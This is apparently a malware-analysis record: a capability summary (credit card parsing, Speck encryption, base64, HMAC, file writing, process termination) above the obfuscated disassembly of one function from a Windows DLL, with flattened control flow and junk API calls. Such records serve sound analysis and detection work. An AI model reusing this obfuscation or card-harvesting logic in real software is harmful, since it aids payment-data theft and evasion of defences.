Function at 0x180002e2c
Capabilities:
Accept command line arguments
Authenticate hmac
Encode data using base64
Encrypt data using speck
Parse credit card information
Terminate process
Write file on windows

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x88
mov r9d, r8d
mov r8d, dword [rsp + 0xc8]
movabs r10, 0x6cc6b67f99001ff0
mov rcx, qword [section..data]
xor edi, edi
movabs rax, 0x2bbfbe60626f6c59
mov qword [rsp + 0x70], rcx
mul rcx
mov eax, 0x5bd1e995
mov qword [rsp + 0x68], rdi
mov rbp, rdx
shr rbp, 7
and bpl, cl
xor bpl, 0x33
cmp rcx, r10
mov qword [rsp + 0x60], rbp
cmove r8d, eax
mov dword [rsp + 0xc8], r8d
lea r8d, [rcx + 0x47]
and r8d, 0x24d
xor r8d, ecx
mov qword [rsp + 0x48], r8
cmp rcx, 0xf
jbe 0x180002ee8
cmp rcx, 0x19
jbe 0x180002ee8
cmp rcx, 6
jne 0x180002ef5
movzx ecx, bpl
lea edx, [rdi + 6]
call fcn.180002e2c
mov r8, qword [rsp + 0x48]
mov r9d, dword [rsp + 0xc0]
mov edi, eax
mov qword [rsp + 0x68], rdi
jmp 0x180002f1c
mov r8d, dword [rsp + 0xc8]
jmp 0x180002e5a
cmp rcx, r10
jne 0x180002f12
mov eax, 0x212
sub eax, r8d
xor eax, 0x328
sub eax, 0x66ffe11d
mov dword [rsp + 0x78], eax
jmp 0x180002f1c
cmp rcx, 0x28
je 0x18000493a
xor edx, edx
movzx ecx, bpl
movzx ebx, bpl
lea eax, [rdx + 0x46]
div rcx
sub edx, ebx
cmp rdi, 0x57
jne 0x180002f41
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
jmp 0x180004779
cmp rdi, 9
jne 0x180002f62
mov eax, r8d
mov r9, rcx
mov r8d, edx
mov rdx, rcx
mov rcx, rdi
mov qword [rsp + 0x20], rax
call fcn.180004954
jmp 0x180002fd2
cmp rdi, 0x2a
je 0x180004933
test rdi, rdi
jne 0x180002f86
mov r8d, dword [rsp + 0xb8]
mov r11d, r8d
xor r11d, r9d
mov dword [rsp + 0x40], r11d
jmp 0x180002fdf
cmp rdi, 0x1b
je 0x18000492e
cmp rdi, 3
je 0x18000492e
cmp rdi, 0x37
je 0x18000492e
cmp rdi, 0x2a
jbe 0x180002fb7
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180004779
cmp rdi, 0x3a
jb 0x180002fc8
call qword [sym.imp.KERNEL32.dll_lstrlenW]
jmp 0x180004779
cmp rdi, 0x4a
jae 0x18000492a
mov r8d, dword [rsp + 0xb8]
mov r11d, dword [rsp + 0x40]
mov esi, 0x1b6
imul ebx, edi
sub esi, ebx
mov qword [rsp + 0x58], rsi
jmp 0x180002ff5
mov rbp, qword [rsp + 0x60]
cmp r8d, 4
jae 0x180003b51
mov rbx, qword [rsp + 0xb0]
movabs rax, 0x243ec97d49eae177
mov ecx, esi
mul rcx
mov eax, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 9
add rcx, 2
cmp rax, rcx
jbe 0x180003121
jmp 0x18000303d
mov rbx, qword [rsp + 0xb0]
mov rcx, qword [0x18002f038]
xor edx, edx
mov rax, rcx
mov r10d, 0x59
div rcx
movabs rax, 0x204081020408103
mov rcx, rdx
mul rdx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 8
and ecx, 0x2b9
mov al, cl
and al, 0x11
or al, 0x2a
cmp rcx, r10
ja 0x180003121
test rcx, rcx
jne 0x18000309d
movzx eax, byte [rbx + 2]
shl eax, 0x10
xor r11d, eax
mov dword [rsp + 0x40], r11d
jmp 0x180003121
cmp rcx, 0xf
jae 0x180003121
cmp rcx, 0x30
ja 0x180003b48
cmp rcx, 0x12
jbe 0x1800030c0
movzx edx, al
mov r8d, edx
call fcn.180002e2c
jmp 0x180003121
cmp rcx, r10
jne 0x1800030de
movzx r9d, al
mov r8, r10
mov rdx, r10
mov qword [rsp + 0x20], r10
mov rcx, r10
call fcn.180004954
jmp 0x180003121
cmp rcx, 0x4c
jae 0x180003b51
cmp rcx, 0x63
jae 0x1800048d1
cmp rcx, 0x15
jae 0x180003121
cmp rcx, 0x5d
jne 0x180003110
movzx r8d, al
mov r9d, r8d
movzx edx, al
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
jmp 0x180003121
cmp rcx, 0xc
jne 0x180003121
mov qword [0x18002f008], 4
mov edx, dword [rsp + 0xb8]
cmp edx, 1
jbe 0x180003194
mov rcx, qword [0x18002f008]
mov eax, 0x34e
xor rcx, 0x337
add eax, ecx
or ax, cx
cmp rcx, 0x1f
je 0x1800048ca
cmp rcx, 0xd
jbe 0x1800048c5
cmp rcx, 0x27
je 0x18000318c
movabs r8, 0xb7d9a616d3b12f88
cmp rcx, r8
je 0x18000329f
cmp rcx, 0x36
jb 0x1800048c5
cmp rcx, 0x25
jb 0x180003288
cmp rcx, 0x20
jb 0x18000312d
mov rbx, qword [rsp + 0xb0]
mov r11d, dword [rsp + 0x40]
mov eax, edx
cmp rax, rdi
jbe 0x18000324f
mov r9, qword [0x18002f008]
xor edx, edx
mov eax, 0x2bc
mov ecx, 0x13d
div r9
mov r10d, r9d
movzx r8d, ax
xor r10d, 0xa3b3
movzx eax, byte [rbx]
or r10d, r9d
xor r11d, eax
imul r8d, ecx
movabs rax, 0x8cabb37565e2011
mov dword [rsp + 0x40], r11d
mul r9
mov rax, r9
sub r8w, r9w
sub rax, rdx
shr rax, 1
add rax, rdx
mov edx, 0x301
shr rax, 8
sub edx, eax
cmp r9, 0x34
jbe 0x1800047a4
movabs rax, 0xb7d9a616d3b12cbf
cmp r9, rax
je 0x180003374
cmp r9, 0x47
jbe 0x1800031a4
cmp r9, 0x62
jb 0x18000324f
cmp r9, 0x26
jb 0x18000303d
cmp r9, 6
je 0x18000484b
cmp r9, 0x45
jne 0x1800032c0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov r8d, dword [rsp + 0xc8]
mov rbx, qword [rsp + 0x70]
cmp rbx, 0x62
jne 0x18000338a
mov r11, qword [rsp + 0x48]
mov ecx, r11d
add rcx, 0x98
movzx eax, bpl
add rcx, rax
mov qword [0x18002f020], rcx
jmp 0x1800035ef
movzx edx, ax
mov r8d, ecx
call fcn.180002e2c
mov edx, dword [rsp + 0xb8]
jmp 0x18000318c
mov r11d, dword [rsp + 0x40]
mov rbx, qword [rsp + 0xb0]
movzx eax, byte [rbx + 1]
shl eax, 8
xor r11d, eax
mov dword [rsp + 0x40], r11d
jmp 0x180003199
cmp r9, 0x53
jae 0x1800032d8
movzx edx, r8w
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x18000324f
cmp r9, 0x5e
ja 0x1800032f1
mov ecx, edx
mov r8d, edx
mov edx, r9d
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x18000324f
cmp r9, 0x44
jb 0x18000324f
cmp r9, 0xf
ja 0x180003317
movzx eax, r8w
xor rax, 0x238
mov qword [0x18002f030], rax
jmp 0x18000324f
mov eax, 0x3e
cmp r9, rax
jne 0x18000333b
mov ecx, r10d
mov r8d, eax
mov r9d, r10d
mov edx, eax
mov qword [rsp + 0x20], rax
call fcn.180004954
jmp 0x18000324f
cmp r9, 0x5f
jne 0x18000334f
mov ecx, r10d
call qword [sym.imp.KERNEL32.dll_lstrlenW]
jmp 0x18000324f
cmp r9, 0x35
jb 0x180004843
cmp r9, 0x48
jae 0x18000324f
movzx edx, r8w
mov rcx, r9
call fcn.1800066b0
jmp 0x18000324f
mov r8d, dword [rsp + 0xc8]
imul r11d, r8d
mov dword [rsp + 0x40], r11d
jmp 0x180003257
cmp rbx, 0x4a
ja 0x1800033c8
xor edx, edx
movzx ecx, bpl
lea eax, [rdx + 0x7e]
div rcx
movabs rax, 0x8888888888888889
mov rcx, rdx
mul rdx
shr rdx, 9
imul rax, rdx, 0x3c0
sub rcx, rax
imul rdi, rcx
mov qword [rsp + 0x68], rdi
jmp 0x1800035ea
cmp rbx, 0x5a
jne 0x180003404
mov r8d, dword [rsp + 0x48]
mov edx, ebx
movzx r9d, bpl
mov ecx, ebx
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_LCMapStringW]
movsxd rbx, eax
imul r11d, ebx, 0x207
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x48], r11
jmp 0x1800035ef
cmp rbx, 0x27
jne 0x180003422
mov ecx, esi
mov r8d, ebx
mov edx, edi
call fcn.180002e2c
mov ebx, eax
mov qword [rsp + 0x70], rbx
jmp 0x1800035ea
cmp rbx, 4
jbe 0x180003af8
cmp rbx, 0x30
je 0x180004798
mov r11d, dword [rsp + 0x40]
cmp rbx, 0xd
je 0x180003035
cmp rbx, 0x2f
jb 0x1800048bf
cmp rbx, 0x2e
jae 0x180003472
mov edx, dword [rsp + 0x48]
mov r8d, ebx
movzx ecx, bpl
call fcn.180002e2c
mov bpl, al
mov qword [rsp + 0x60], rbp
jmp 0x1800035ea
movabs r10, 0x6cc6b67f99001ff0
cmp rbx, r10
jne 0x1800035e0
cmp rdi, 0x5b
jbe 0x1800034b2
mov r8d, dword [rsp + 0x48]
mov r9d, edi
mov eax, esi
mov edx, edi
mov dword [rsp + 0x28], esi
mov ecx, 0x99001ff0
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_LCMapStringW]
mov esi, eax
jmp 0x1800035ea
cmp rdi, 0x19
ja 0x180003871
cmp rdi, 0x1e
ja 0x180004926
cmp rdi, 4
jne 0x1800034d6
mov edi, 0xc8
jmp 0x1800033be
cmp rdi, 0x59
je 0x1800048bf
cmp rdi, 0x45
jbe 0x180003514
mov ecx, dword [rsp + 0x48]
mov r8, rdi
movzx edx, bpl
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
movzx edi, bpl
mov rbx, rax
mov qword [rsp + 0x70], rax
xor rdi, 0x1f2
mov eax, esi
or rdi, rax
jmp 0x1800033be
cmp rdi, 0x4d
je 0x1800048dd
cmp rdi, 0x49
je 0x180004769
test rdi, rdi
jne 0x180003545
mov ecx, r11d
mov r11, qword [rsp + 0x48]
mov eax, ecx
shr eax, 0xd
xor ecx, eax
mov dword [rsp + 0x40], ecx
jmp 0x1800035f3
cmp rdi, 0x52
jbe 0x18000358d
mov r11, qword [rsp + 0x48]
xor edx, edx
mov ecx, r11d
mov eax, 0x2bb
div rcx
mov rax, rdx
xor edx, edx
div r10
mov rcx, rax
movabs rax, 0xcccccccccccccccd
mul rcx
shr rdx, 9
lea rax, [rdx + rdx*4]
shl rax, 7
sub rcx, rax
mov qword [0x18002f030], rcx
jmp 0x1800035ef
cmp rdi, 0x31
jae 0x180004926
mov r9d, dword [rsp + 0xc0]
cmp rdi, 0x17
ja 0x180002e5a
cmp rdi, 0x30
jbe 0x1800035cd
mov r11, qword [rsp + 0x48]
movabs rcx, 0x6cc6b67f99001ff1
mov eax, r11d
and rax, rcx
mov qword [0x18002f020], rax
jmp 0x1800035ef
mov edx, dword [rsp + 0xb8]
cmp rdi, 0x24
ja 0x18000312d
jmp 0x1800035ea
cmp rbx, 0x5f
jb 0x1800048dd
mov r11, qword [rsp + 0x48]
mov ecx, dword [rsp + 0x40]
lea eax, [r11 + 0x1a8]
and esi, eax
mov qword [rsp + 0x58], rsi
cmp r11d, 0x38
jb 0x180003a97
cmp r11d, 5
je 0x180003a6d
mov edx, dword [rsp + 0xb8]
cmp r11d, 0x19
je 0x18000312d
mov r10d, 0x99001ff5
cmp r11d, r10d
jne 0x180003a31
cmp esi, 0x23
je 0x180003a21
mov r8d, dword [rsp + 0xc8]
cmp esi, 0x1f
je 0x180003a09
mov r9d, dword [rsp + 0xc0]
cmp esi, 0x12
jb 0x180002e50
cmp esi, 0x34
jb 0x1800039e8
cmp esi, 0x3d
jb 0x180004926
je 0x1800048bf
cmp esi, 0x194
jne 0x18000381e
cmp bpl, 4
je 0x180003963
cmp bpl, 0x1f
je 0x180003b19
cmp bpl, 0x19
jb 0x180004926
cmp bpl, 0x55
jne 0x1800036cf
mov edx, esi
mov r8d, edi
mov ecx, edx
call qword [sym.imp.SHELL32.dll_ExtractIconA]
mov rsi, rax
mov qword [rsp + 0x58], rax
mov r11d, dword [rsp + 0x40]
mov rbx, qword [rsp + 0xb0]
jmp 0x1800031a4
cmp bpl, 0x43
jne 0x180003750
cmp rbx, 0x63
jb 0x18000390e
movabs r10, 0x6cc6b67f99001ff0
cmp rbx, r10
je 0x180003901
cmp rbx, 0x38
je 0x180004856
cmp bpl, 0x5b
jae 0x1800036bd
cmp bpl, 0x32
jne 0x180003923
mov r11d, 0x194
mov qword [rsp + 0x48], r11
movzx ecx, bpl
movabs rax, 0x7b301ecc07b301ed
lea rbx, [rcx + rdi]
and ebx, 0xa0
imul rcx, rbx
mov qword [rsp + 0x70], rbx
mul rcx
shr rdx, 8
imul rax, rdx, 0x214
mov edx, dword [rsp + 0x40]
sub rcx, rax
xor cl, 0x1b
lea eax, [rcx + 0xf4]
mov cl, al
shr edx, cl
xor dword [rsp + 0x40], edx
test rbx, rbx
jne 0x1800048a1
cmp bpl, 0x3f
jb 0x180004865
cmp bpl, 0x43
jne 0x180003aa7
cmp esi, 0x3a
je 0x18000486d
cmp esi, 0x194
je 0x1800048b6
mov r9d, dword [rsp + 0xc0]
movabs r10, 0x6cc6b67f99001ff0
cmp esi, 0xb
je 0x180002e5a
cmp esi, 0x18
jae 0x180004860
imul rcx, rdi, 0x150
add rcx, 0x43
mov qword [rsp + 0x70], rcx
jmp 0x18000389d
cmp esi, 9
jbe 0x180003b2b
cmp esi, 1
jb 0x1800039cf
cmp esi, 0x34
je 0x1800039c1
cmp esi, 6
jb 0x180003998
cmp esi, 0x45
jb 0x18000398e
cmp esi, 0x40
je 0x180003b24
cmp esi, 0x39
ja 0x18000396f
mov edx, edi
mov rcx, r10
call fcn.1800066b0
mov qword [rsp + 0x48], rax
jmp 0x1800036bd
mov r9d, dword [rsp + 0x48]
mov r8d, esi
movzx ecx, bpl
mov edx, edi
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 0x99001ff0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov qword [rsp + 0x58], rsi
mov edx, dword [rsp + 0xb8]
jmp 0x18000312d
mov qword [rsp + 0x68], rdi
jmp 0x18000376f
imul ecx, r8d
mov dword [rsp + 0x40], ecx
jmp 0x18000376f
mov edx, 0x43
mov rcx, rdi
mov r8d, edx
call fcn.180002e2c
jmp 0x180003a27
mov edx, dword [rsp + 0xb8]
cmp bpl, 0x35
jb 0x18000312d
mov qword [section..data], r10
jmp 0x18000376f
cmp esi, 0x1c
jne 0x18000376f
mov edi, 0x2f
jmp 0x1800038f7
mov ecx, esi
mov ebx, esi
call qword [sym.imp.KERNEL32.dll_InitializeSListHead]
xor edx, edx
mov eax, 0x39d
div rbx
lea esi, [rax + 0x1a1]
mov r11, qword [rsp + 0x48]
mov qword [rsp + 0x58], rsi
jmp 0x180003a43
movzx edx, bpl
mov rcx, rdi
call fcn.1800066b0
jmp 0x180003a27
movzx eax, bpl
xor rax, 0x3e4
and rax, r10
mov qword [0x18002f010], rax
jmp 0x18000376f
movabs rax, 0x1b7d6c3dda338b2b
mul rdi
shr rdx, 5
xor dl, sil
mov bpl, dl
mov qword [rsp + 0x60], rbp
jmp 0x18000376f
movzx eax, dil
imul ebp, eax, 0xf3
or bpl, 0xda
mov qword [rsp + 0x60], rbp
jmp 0x18000376f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r11d, eax
mov qword [rsp + 0x48], r11
jmp 0x180003a43
cmp r11d, 0x29
jae 0x180003a50
movzx eax, bpl
imul ebp, eax, 0x77
mov qword [rsp + 0x60], rbp
mov r8d, dword [rsp + 0xc8]
jmp 0x18000376f
cmp r11d, 0x60
jb 0x180004865
mov edx, dword [rsp + 0xb8]
cmp r11d, 0x18
jbe 0x18000312d
jmp 0x180003a43
movzx ecx, bpl
mov r9, rdi
mov edx, esi
mov r8, rdi
mov qword [rsp + 0x20], rcx
call fcn.180004954
mov esi, eax
lea r11d, [rbx + 0x2c5]
mov qword [rsp + 0x58], rsi
xor r11d, 5
jmp 0x180003a2a
mov esi, r11d
xor esi, 0x3d5
mov qword [rsp + 0x58], rsi
jmp 0x180003a43
cmp bpl, 0x54
jae 0x1800048bf
cmp bpl, 0x4e
jae 0x180003b3d
cmp bpl, 0x34
je 0x180004894
cmp bpl, 0x31
je 0x18000478e
cmp bpl, 1
jb 0x1800048b6
cmp bpl, 0x3b
jne 0x1800048b6
mov r8d, r11d
mov edx, 0x3b
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ExtractIconW]
jmp 0x180003896
mov ecx, dword [rsp + 0x48]
mov r8d, edi
mov rdx, rdi
call qword [sym.imp.SHELL32.dll_ExtractIconW]
mov r11d, dword [rsp + 0x40]
mov esi, eax
mov qword [rsp + 0x58], rsi
jmp 0x180003035
mov cl, dil
and cl, 0x1b
or cl, 4
jmp 0x180003b41
and dword [rsp + 0x48], 0
jmp 0x180003b51
movzx r8d, bpl
mov edx, r10d
mov ecx, esi
call fcn.180002e2c
mov cl, al
jmp 0x180003b41
lea ecx, [r11 + 0x4b]
mov qword [rsp + 0x60], rcx
jmp 0x180003b51
movzx ecx, al
call qword [sym.imp.KERNEL32.dll_SetLastError]
movabs rbp, 0x97e58e898f85d44
mov rsi, qword [0x18002f030]
mov edx, 0x32
lea rbx, [rsi*2 + 0x392]
imul rax, rbx, 0x1e9
sub rdx, rax
or rsi, rdx
cmp rbx, 0x19
jb 0x180004229
cmp rbx, 0x58
jbe 0x180003cb5
cmp rbx, 0x64
ja 0x180003ba8
mov edx, esi
mov rcx, rbx
call fcn.1800066b0
mov rbx, rax
jmp 0x180003cb5
cmp rbx, 0x3a
jb 0x1800048dd
cmp rbx, 0x24
jae 0x180003be3
mov r9, rsi
mov qword [rsp + 0x20], rbx
mov r8, rbx
mov rdx, rbx
mov rcx, rbx
call fcn.180004954
mov rsi, rax
and esi, 0x3a6
xor rsi, 0x37b
jmp 0x180003cb5
mov r8d, dword [rsp + 0xc8]
movabs r10, 0x6cc6b67f99001ff0
mov r9d, dword [rsp + 0xc0]
cmp rbx, 0x31
jb 0x180002e5a
cmp rbx, rbp
jne 0x180003c43
cmp rsi, 0x25
jb 0x1800047af
cmp rsi, 0x34
je 0x180003b5b
movabs rax, 0xddbf2ff7cdfdfddf
cmp rsi, rax
mov rax, qword [rsp + 0xb0]
jne 0x180003da9
movzx ecx, byte [rax]
jmp 0x180003dad
cmp rbx, 0x47
jb 0x1800047dd
cmp rbx, 0x33
je 0x1800048dd
cmp rbx, 0x18
jb 0x180003cb5
mov r9d, dword [rsp + 0xc0]
cmp rbx, 0x25
je 0x180002e5a
cmp rbx, 0x2f
je 0x180002e5a
cmp rbx, 0x2e
je 0x1800048d6
cmp rbx, 0x4e
je 0x1800048dd
cmp rbx, 0x39
jne 0x180003ca6
mov r8, rbx
mov edx, esi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
jmp 0x180003ce2
mov r10d, 0x60
cmp rbx, r10
je 0x1800047ba
cmp rbx, 0x5a
jne 0x180003cd2
mov r8d, ebx
mov rdx, rsi
mov ecx, r8d
call qword [sym.imp.SHELL32.dll_ExtractIconW]
mov rsi, rax
jmp 0x180003e24
cmp rbx, 0x1e
jb 0x180003b5b
cmp rbx, 0x56
ja 0x180003d35
lea rax, [rsi + 0x353]
mov qword [0x18002f030], rax
cmp rbx, 0x11
jb 0x180004820
cmp rbx, 0x34
je 0x180003e24
cmp rbx, 0x2d
je 0x180003e24
cmp rbx, rbp
jne 0x180003e01
mov ecx, dword [rsp + 0x44]
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 2]
shl eax, 0x10
or ecx, eax
mov dword [rsp + 0x44], ecx
jmp 0x180003e24
cmp rbx, 0x4a
jb 0x180004828
cmp rbx, 0x48
jae 0x180003d50
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180003cf0
mov r8d, dword [rsp + 0xc8]
movabs r10, 0x6cc6b67f99001ff0
mov r9d, dword [rsp + 0xc0]
cmp rbx, 0x10
jb 0x180002e5a
cmp rbx, 0xb
jb 0x180002e5a
cmp rbx, 0xf
jb 0x1800048dd
cmp rbx, 0x4d
jne 0x180003d9c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
jmp 0x180003e24
cmp rbx, rbp
jne 0x180003dbb
mov rax, qword [rsp + 0xb0]
mov ecx, dword [rsp + 0x44]
movzx eax, byte [rax + 1]
shl eax, 8
or ecx, eax
jmp 0x180003d1b
cmp rbx, 8
jne 0x180003ddc
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
add rsi, 0x365
jmp 0x180003cf0
cmp rbx, 4
jae 0x180003cf0
mov r9, rsi
mov qword [rsp + 0x20], rbx
mov r8, rsi
mov rdx, rsi
mov rcx, rbx
call fcn.180004954
jmp 0x180003b5b
cmp rbx, 0x36
jb 0x180003b5b
lea rax, [rbx - 0x21]
cmp rax, 0xf
ja 0x180003e24
mov esi, 0x275
sub rsi, rbx
or rsi, 0x297
mov r11d, 5
lea rdi, [rbx + 0x18]
cmp rsi, r11
jne 0x180003e46
mov r8d, r11d
mov edx, ebx
mov ecx, r11d
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x180003b5b
cmp rsi, 0x26
jne 0x180003e5a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
jmp 0x180003f9d
cmp rsi, 0x63
jb 0x180004926
cmp rsi, 0x64
je 0x180004926
cmp rsi, 0x54
jne 0x180003e83
mov rsi, rdi
xor rsi, 0x1d0
jmp 0x180003f9d
movabs rax, 0xddbf2ff7cdfdfddf
cmp rsi, rax
jne 0x180003f93
cmp rdi, 0x29
jae 0x180003ead
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rdi, eax
jmp 0x180003f9d
cmp rdi, 0x25
je 0x180004229
movabs r11, 0x97e58e898f85d5c
cmp rdi, r11
jne 0x180003f11
cmp rbx, 0x24
jne 0x180003eea
mov r9, rax
mov qword [rsp + 0x20], r11
mov r8, rax
mov rdx, r11
mov rcx, r11
call fcn.180004954
mov rsi, rax
jmp 0x180003f9d
cmp rbx, rbp
mov ebx, dword [rsp + 0x44]
jne 0x180003fab
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 3]
shl eax, 0x18
or ebx, eax
mov dword [rsp + 0x44], ebx
jmp 0x180003fab
cmp rdi, 0x20
jbe 0x1800048ed
cmp rdi, 0x25
jb 0x1800048e1
cmp rdi, 0x3f
jb 0x1800047f8
cmp rdi, 0xe
jbe 0x1800047eb
mov r8d, dword [rsp + 0xc8]
movabs r10, 0x6cc6b67f99001ff0
mov r9d, dword [rsp + 0xc0]
cmp rdi, 0x63
jb 0x180002e5a
cmp rdi, 0x5b
jae 0x180003f72
mov edx, ebx
mov rcx, rbx
call fcn.1800066b0
jmp 0x180003ee2
cmp rdi, 0x54
jb 0x180004926
cmp rdi, 1
jne 0x180003fa7
mov r8d, ebx
mov edx, ebx
mov rcx, rdi
call fcn.180002e2c
mov esi, eax
jmp 0x180003f9d
cmp rsi, 0x14
jbe 0x180003b5b
movabs r11, 0x97e58e898f85d5c
mov ebx, dword [rsp + 0x44]
mov r10, rsi
xor r10, 0x37d
mov qword [rsp + 0x50], r10
cmp rdi, 0x2d
jb 0x18000480d
cmp rdi, 0x32
ja 0x180004013
mov r8d, esi
mov edx, esi
mov rcx, rdi
call fcn.180002e2c
mov r10d, eax
mov qword [rsp + 0x50], r10
mov r8d, dword [rsp + 0xc8]
imul rbp, r10, 0x31e
lea rax, [r10 + 0x67]
and rbp, rax
cmp rbp, 2
jae 0x180004034
imul r10, r10, 0x3cf
xor r10, 0x1cd
mov qword [rsp + 0x50], r10
jmp 0x180004178
cmp rdi, 0x4b
jb 0x180004921
cmp rdi, r11
jne 0x180003fdf
mov r8d, dword [rsp + 0xc8]
imul ebx, r8d
mov dword [rsp + 0x44], ebx
jmp 0x180003fe7
cmp rbp, 0x17
jne 0x18000404c
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
imul rsi, rdi, 0x78
jmp 0x180004173
mov r9d, dword [rsp + 0xc0]
cmp rbp, 0x4c
jb 0x180002e50
cmp rbp, 0x47
jne 0x18000406f
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180003b51
movabs rcx, 0x19b706740dbdbc08
cmp rbp, rcx
jne 0x18000412b
cmp rsi, 0x2a
je 0x180004926
cmp rsi, 0x16
jne 0x18000409d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180003b51
cmp rsi, 0xd
jae 0x1800040b6
mov edx, r10d
mov rcx, r10
call fcn.1800066b0
mov rsi, rax
jmp 0x180004173
cmp rsi, 0x5d
je 0x1800048f4
cmp rsi, 0xb
jae 0x1800040f8
xor edx, edx
mov rax, rsi
div rcx
movabs rax, 0xdd67c8a60dd67c8b
mov rbp, rdx
mul rdx
shr rdx, 9
imul rax, rdx, 0x250
sub rbp, rax
add rbp, 0x157
jmp 0x180004178
cmp rsi, 0x12
jb 0x180004802
cmp rsi, 0x26
jb 0x180004921
movabs rax, 0xddbf2ff7cdfdfddf
cmp rsi, rax
jne 0x180004178
mov ecx, dword [rsp + 0x78]
mov eax, ebx
shr eax, cl
xor ebx, eax
mov dword [rsp + 0x44], ebx
jmp 0x180004178
cmp rbp, 0x37
jae 0x180004164
mov dword [rsp + 0x28], r10d
mov r9d, ebp
mov r8, rbp
mov qword [rsp + 0x20], rsi
mov edx, esi
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_LCMapStringW]
xor edx, edx
mov eax, 0x2c8
div rdi
mov rsi, rdx
imul rsi, rdi
and esi, 0x3dd
jmp 0x180004173
cmp rbp, 0xf
jae 0x180004178
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rdi, rax
mov r10, qword [rsp + 0x50]
movabs rax, 0xcf1094d3eaf850e3
mul rsi
movabs rax, 0xddbf2ff7cdfdfea2
mov rbx, rdx
shr rbx, 9
xor rbx, 0x3c2
cmp r10, rax
jne 0x180004230
movabs rax, 0x97e58e898f85d5c
cmp rdi, rax
je 0x180004266
movabs rbp, 0x97e58e898f85d44
cmp rdi, 0x58
je 0x180003b5b
cmp rdi, 0x31
jb 0x1800048fb
cmp rdi, 0x3d
jae 0x1800041eb
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180003b5b
cmp rdi, 0x5c
jae 0x180004204
imul rax, rdi, 0x7c
mov rbx, rdi
xor rbx, 0x20a
or rbx, rax
jmp 0x180004266
cmp rdi, 0x3c
je 0x180004266
cmp rdi, 0x16
jae 0x180004223
movabs rax, 0xddbf2ff7cdfdfd92
mov qword [0x18002f020], rax
jmp 0x180004266
cmp rdi, 0x40
ja 0x180004266
mov eax, ebx
jmp 0x18000493f
cmp r10, 0x52
jae 0x18000424a
mov edx, ebp
mov rcx, rbp
call fcn.1800066b0
mov r10, qword [rsp + 0x50]
mov rbx, rax
jmp 0x180004266
cmp r10, 0x43
jae 0x180004266
mov r8d, r10d
mov edx, r10d
mov rcx, rbp
call fcn.180002e2c
mov r10d, eax
mov qword [rsp + 0x50], r10
lea rbp, [r10 - 0xe8]
cmp rbx, 0x2d
ja 0x180004291
mov edx, ebp
mov rcx, rbx
call fcn.1800066b0
mov r10, qword [rsp + 0x50]
add rbp, 0xfffffffffffffd7a
xor rbp, r10
mov rdi, rax
jmp 0x1800042c0
movabs rax, 0x59adfa533b71b0
cmp rbx, rax
jne 0x1800042b6
mov eax, dword [rsp + 0x44]
mov r8d, dword [rsp + 0xc8]
imul eax, r8d
mov dword [rsp + 0x44], eax
jmp 0x1800042c8
cmp rbx, 0x5b
je 0x180004917
mov r8d, dword [rsp + 0xc8]
movabs rax, 0x63b0cda236e1c7bb
mul rbx
mov rax, rbx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 9
imul rax, rax, 0x329
add r10, rax
movabs rax, 0x59adfa533b71b0
mov qword [rsp + 0x50], r10
cmp rbx, rax
jne 0x180004311
mov ecx, dword [rsp + 0x40]
imul ecx, r8d
mov dword [rsp + 0x40], ecx
jmp 0x180004332
cmp rbx, 0x44
jae 0x180004324
mov eax, 0x178
sub rax, rbx
mov rbx, rax
jmp 0x18000432e
cmp rbx, 0x30
jb 0x180004926
mov ecx, dword [rsp + 0x40]
mov rsi, rdi
xor rsi, rbx
or rsi, 0x19d
cmp rdi, 0x12
jne 0x180004356
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x1800045ab
cmp rdi, 0xe
jae 0x180004378
mov r8d, esi
mov edx, r10d
mov rcx, rbp
call fcn.180002e2c
mov rsi, rdi
and esi, 0x15c
jmp 0x1800045ab
movabs r11, 0x97e58e898f85d5c
cmp rdi, r11
jne 0x18000451a
cmp rsi, 0x4c
ja 0x1800043a4
mov rax, rbp
imul rax, rsi
imul r10, rax, 0x358
jmp 0x1800044c0
mov r9d, dword [rsp + 0xc0]
cmp rsi, 0x16
jb 0x180002e50
cmp rsi, 0x27
jbe 0x180002e50
cmp rsi, 0x3d
ja 0x1800043e1
mov r9, rsi
